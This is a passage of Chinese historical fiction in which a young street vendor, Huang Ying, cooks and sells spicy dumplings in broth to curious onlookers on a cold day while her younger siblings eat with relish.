这个郎君寒风天儿摇着一把扇儿，真是要风度不要温度呐。 “他们方才吃的甚？”韩悠指着桌上空碗。 “是汤馉饳儿。”黄樱笑道，“十五文一碗。我家秘制馅料儿，天儿冷最适宜不过了，热腾腾吃下去，浑身都暖和呢！保管郎君吃了还想吃！” 喝，众人笑，“好大口气！” “您吃了便知呢。”黄樱说着，揭开另一个泥风炉子上的小锅盖，水已煮得滚沸，热气扑面而来，“我这汤馉饳用上好猪腿肉剁的馅儿，汤底用的紫氂和干虾子，最是鲜美不过。” “宁姐儿，添柴。” “哎！”小丫头忙送了两根木柴，熟练地拿烧火棍掏了掏底，火便轰隆隆烧起来了。 黄樱麻利地掀开竹篾篮儿，舀了一把馄饨扔进去，爪篱搅拌一圈儿，任其沸腾。 众人瞧去，只见那白白胖胖的馉饳儿在水里翻滚，说不出的喜人。 黄樱立即摆出两个瓷碗来，手拿小勺快速在那些调料罐里舀过，速度快得都有残影了，压根瞧不清她放了甚麽。 待锅中馉饳儿都飘起来，她拿了爪篱捞了那白胖胖馄饨，盛在碗中，浇上面汤，再拿勺儿在一个瓷坛里舀一勺红油汁儿进去，撒上葱花，放在两个小孩儿面前。 有红有绿，瞧着甚喜人。 两个小娃娃方才一碗都不够，乖乖拿起勺儿，先将那红油搅一搅，众人只觉得一股又辣又香的味儿飘来。 宁丫头吹了吹，迫不及待咬了一口，她吸溜着舌头，脸冻得红通通的，“二姐儿，真好吃！” 允哥儿忙点头，“嗯！” 他们吃得满头大汗，连汤底子都喝得干干净净。 别说，给人看饿了。 甭管好不好吃，起码热烫。 有人已忍不住了，“给我来一碗！” “我也来一碗！”